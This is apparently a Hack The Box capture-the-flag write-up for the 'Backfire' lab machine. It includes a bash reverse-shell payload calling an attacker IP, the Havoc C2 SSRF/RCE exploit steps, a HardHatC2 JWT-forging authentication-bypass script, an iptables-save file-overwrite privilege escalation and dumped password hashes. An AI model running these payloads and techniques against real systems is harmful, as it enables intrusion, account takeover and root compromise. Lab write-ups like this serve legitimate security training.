HTB-Backfire

Box Info

Difficulty Medium
OS Linux
IP Address 10.10.11.49

Nmap Scanning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
nmap backfire.htb -sV -Pn -T4 
nmap backfire.htb -p- -A

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey:
| 256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
|_ 256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
443/tcp open ssl/http nginx 1.22.1
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=DEBUG CO/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: IP Address:127.0.0.1
| Not valid before: 2024-07-20T06:04:59
|_Not valid after: 2027-07-20T06:04:59
| tls-alpn:
| http/1.1
| http/1.0
|_ http/0.9
|_ssl-date: TLS randomness does not represent time
|_http-title: 404 Not Found
|_http-server-header: nginx/1.22.1
5000/tcp filtered upnp
8000/tcp open http nginx 1.22.1
|_http-title: Index of /
|_http-open-proxy: Proxy might be redirecting requests
| http-ls: Volume /
| SIZE TIME FILENAME
| 1559 17-Dec-2024 11:31 disable_tls.patch
| 875 17-Dec-2024 11:34 havoc.yaotl
|_
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Update /etc/hosts

1
2
sudo nano /etc/hosts
sudo echo "10.10.11.49 backfire.htb" | tee -a /etc/hosts

Service Enumeration

443/tcp HTTPS

Nothing inside the 443 port https://backfire.htb/

8000/tcp HTTP

Visiting port 8000 revealed 2 files, including a patch file disable_tls.patch and a yaotl file havoc.yaotl
http://backfire.htb:8000/

havoc.yaotl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Teamserver {
Host = "127.0.0.1"
Port = 40056

Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "data/i686-w64-mingw32-cross/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}

Operators {
user "ilya" {
Password = "CobaltStr1keSuckz!"
}

user "sergej" {
Password = "1w4nt2sw1tch2h4rdh4tc2"
}
}

Demon {
Sleep = 2
Jitter = 15

TrustXForwardedFor = false

Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}

Listeners {
Http {
Name = "Demon Listener"
Hosts = [
"backfire.htb"
]
HostBind = "127.0.0.1"
PortBind = 8443
PortConn = 8443
HostRotation = "round-robin"
Secure = true
}
}

disable_tls.patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
Disable TLS for Websocket management port 40056, so I can prove that
sergej is not doing any work
Management port only allows local connections (we use ssh forwarding) so
this will not compromize our teamserver

diff --git a/client/src/Havoc/Connector.cc b/client/src/Havoc/Connector.cc
index abdf1b5..6be76fb 100644
--- a/client/src/Havoc/Connector.cc
+++ b/client/src/Havoc/Connector.cc
@@ -8,12 +8,11 @@ Connector::Connector( Util::ConnectionInfo* ConnectionInfo )
{
Teamserver = ConnectionInfo;
Socket = new QWebSocket();
- auto Server = "wss://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
+ auto Server = "ws://" + Teamserver->Host + ":" + this->Teamserver->Port + "/havoc/";
auto SslConf = Socket->sslConfiguration();

/* ignore annoying SSL errors */
SslConf.setPeerVerifyMode( QSslSocket::VerifyNone );
- Socket->setSslConfiguration( SslConf );
Socket->ignoreSslErrors();

QObject::connect( Socket, &QWebSocket::binaryMessageReceived, this, [&]( const QByteArray& Message )
diff --git a/teamserver/cmd/server/teamserver.go b/teamserver/cmd/server/teamserver.go
index 9d1c21f..59d350d 100644
--- a/teamserver/cmd/server/teamserver.go
+++ b/teamserver/cmd/server/teamserver.go
@@ -151,7 +151,7 @@ func (t *Teamserver) Start() {
}

// start the teamserver
- if err = t.Server.Engine.RunTLS(Host+":"+Port, certPath, keyPath); err != nil {
+ if err = t.Server.Engine.Run(Host+":"+Port); err != nil {
logger.Error("Failed to start websocket: " + err.Error())
}

It looks like a Havoc Server and it exposed user and password

User Password
ilya CobaltStr1keSuckz!
sergej 1w4nt2sw1tch2h4rdh4tc2

Havoc Configuration Details:

  • Host: 127.0.0.1
  • Port: 40056
  • Listener Ports: 8443

Exploitation

Using OSINT, we understand Havoc is a modern and malleable post-exploitation command and control framework. Lets install Havoc

Havoc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
# Install dependencies
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev python3-dev libboost-all-dev mingw-w64 nasm

# Building Teamserver
## Install additional Go dependencies
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
## Above command will show error 'not a known dependency'
https://github.com/HavocFramework/Havoc/issues/516
go mod download github.com/ugorji/go/codec
cd ..

## Build and run
make ts-build

### Copy downloaded profile into havoc and named it to havoc2.yaotl
cp ~/Downloads/havoc.yaotl havoc2.yaotl
./havoc server --profile ./profiles/havoc2.yaotl -v --debug

# Building the Client
make client-build

## Troubleshoot building the client
### cmake not found
sudo apt install cmake

### Qt5Config.cmake and Qt5-config.cmake not found
sudo apt-get update
sudo apt install qtbase5-dev qt5-qmake qttools5-dev-tools libqt5websockets5-dev

# Run the client
./havoc client




We’re able to login into the Havoc but unable to find any useful information. Upon OSINT in-depth found the Havoc have SSRF vulnerability

Lets try with the Havoc-C2-SSRF-poc

https://github.com/chebuya/Havoc-C2-SSRF-poc

1
git clone https://github.com/chebuya/Havoc-C2-SSRF-poc

Resolve Python Dependencies with Cryptodome and Requests in the script

1
2
3
4
python3 -m venv venv
source venv/bin/activate
pip install pycryptodome
pip install requests

Lets try to run SSRF PoC with the creds found in the config

1
python3 exploit.py -t https://backfire.htb -i 10.10.14.24 -p 8444 -u ilya

It seems working but SSRF is not enough, we need RCE to further exploit

From the GitHub there is a community provided SSRF

https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE

1
git clone https://github.com/thisisveryfunny/CVE-2024-41570-Havoc-C2-RCE

Follow the exploit guide

1
2
3
4
5
6
7
8
9
10
11
12
13
14
python3 -m venv myenv && source myenv/bin/activate
pip3 install -r requirements.txt
chmod +x payload.sh
nano payload.sh

# Modify the IP, USER and PASSWORD in the exploit.py file
code exploit.py

# Host the service
python3 -m http.server 80 (On another terminal and payload.py loc)
nc -lvnp 4444 (On another terminal)

# Run the exploit
python3 exploit.py -t https://backfire.htb -i 127.0.0.1 -p 40056

payload.sh

1
2
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.24/4444 0>&1 # CHANGE THIS

exploit.sh

and now we get the reverse shell!

Initial user foothold

Privilege Escalation

Go to user home directory and there is a .ssh file believe is created by other community user. Here I will use the private key generated and establish SSH connection.

1
2
3
code id_rsa
chmod 600 id_rsa
ssh -i id_rsa -o StrictHostKeyChecking=no ilya@10.10.11.49

From the user home directory there is a hardhat.txt file seems like ilya doesn’t agree with HardHatC2 server.

On the victim host port listening on5000 and 7096 is catchy

Lets port forward back to KALI using SSH

1
ssh -L 5000:127.0.0.1:5000 -L 7096:127.0.0.1:7096 -i id_rsa -o StrictHostKeyChecking=no ilya@10.10.11.49

Only port 7096 is hosted with Hardhat c2

Try weak credentials failed. Upon checking OSINT, there is a PoC for HardHat C2

HardHatC2 0-Days (RCE & AuthN Bypass)

Follow to Vulnerability 2: Authentication Bypass, I use the python script provided in the article and modify necessary.

exploit-hardhatc2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# @author Siam Thanat Hack Co., Ltd. (STH)
import jwt
import datetime
import uuid
import requests

# Had port forward back to KALI
rhost = '127.0.0.1:5000'

# Craft Admin JWT
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}

token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "cxk_pentest", # Create new user password
"role": "TeamLead",
"username": "cxk_pentest" # Create new user name
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)

Troubleshoot the python script

1
2
3
python3 -m venv venv && source venv/bin/activate
pip install jwt
pip install PyJWT

Execute the HardHat C2 exploit script

1
python3 exploit-hardhatc2.py

Lets try to access it with user created.

There is another Vulnerability 3: Remote Code Execution (RCE) in the article. After obtaining user with TeamLead role, Attacker can interact with implants and C2 host itself to execute operating system commands

Tried few command, found the user is sergej

Lets write ilya pubkey into sergej user ~/.ssh/authorized_keys

1
2
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHfrkU76dwV8TTLdf3KKle5eKf5j7oSaYTYKJhmqcGqP ilya@backfire" | tee -a /home/sergej/.ssh/authorized_keys
ssh -o StrictHostKeyChecking=no -i id_rsa sergej@10.10.11.49

From the user sudo privilege, it does not require password for iptables and iptables-save

From the OSINT, there is a guide which had not been stated in GTFObins and LOLBAS

Shielder - A Journey From sudo iptables To Local Privilege Escalation

It boils down to these three steps:

  1. Using the comment functionality offered by iptables to attach arbitrary comments, containing newlines, to rules.
  2. Leverage iptables-save to dump to a sensitive file the content of the loaded rules, including the comment payloads.
  3. Exploiting step 1 and step 2 to overwrite the /etc/passwd file with an attacker-controlled root entry, crafted with a known password.

Steps 1: Commenting Rules via iptables

1
2
3
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"
sudo iptables --list

Now the rules, had been write into the iptables list.iptables also provides a way to simply dump all the loaded rules, by running iptables -S

How much can we control this output? A simple test is to insert a newline

1
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Allow packets to localhost\nThis rule rocks!'

Now lets check iptables -S

Steps 2: Arbitrary File Overwrite via iptables-save

1
sudo iptables-save

iptables-save and ip6tables-save are used to dump the contents of IP or IPv6 Table in easily parseable format either to STDOUT or to a speci‐ fied file.

It seems iptables-save is preserving the injected newline. Now that we know this, we can proceed to test its functionality by specifying a filename, supplying the -f switch. So we can control arbitary lines on the file written by iptables-save. Since this is running with sudo, the file is owned by root.

We can leverage arbitrary comments containing \n via iptables, and running iptables-save to write arbitrary file as root. So, as to privilege escalation to root user, we can overwrite root user ssh authorized keys

1
2
3
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHfrkU76dwV8TTLdf3KKle5eKf5j7oSaYTYKJhmqcGqP ilya@backfire\n'
sudo iptables -S # Validate the pubkey
sudo iptables-save -f /root/.ssh/authorized_keys

Initial root foothold

1
ssh -i id_rsa -o StrictHostKeyChecking=no root@10.10.11.49

1
2
3
root:$y$j9T$YhphiLO.G4w3yAv438MQP/$3JhvSgFS6VV4F79Mi5VuQDkhg63yMgjbpy.krot/tn.:19996:0:99999:7:::
ilya:$y$j9T$QAKBQrxLvdJTOvPiSUD8Z.$970OYpnfl/koGTRGPbmxntWv/HzGp5Nrjr7Vwfv6NXA:19996:0:99999:7:::
sergej:$y$j9T$ToRPOlaRsEcSVPj7IrwIw/$7WM.jKKviRj8JoXWN2pjVqrxuunYDv/G4b0PHmsEFd2:19996:0:99999:7:::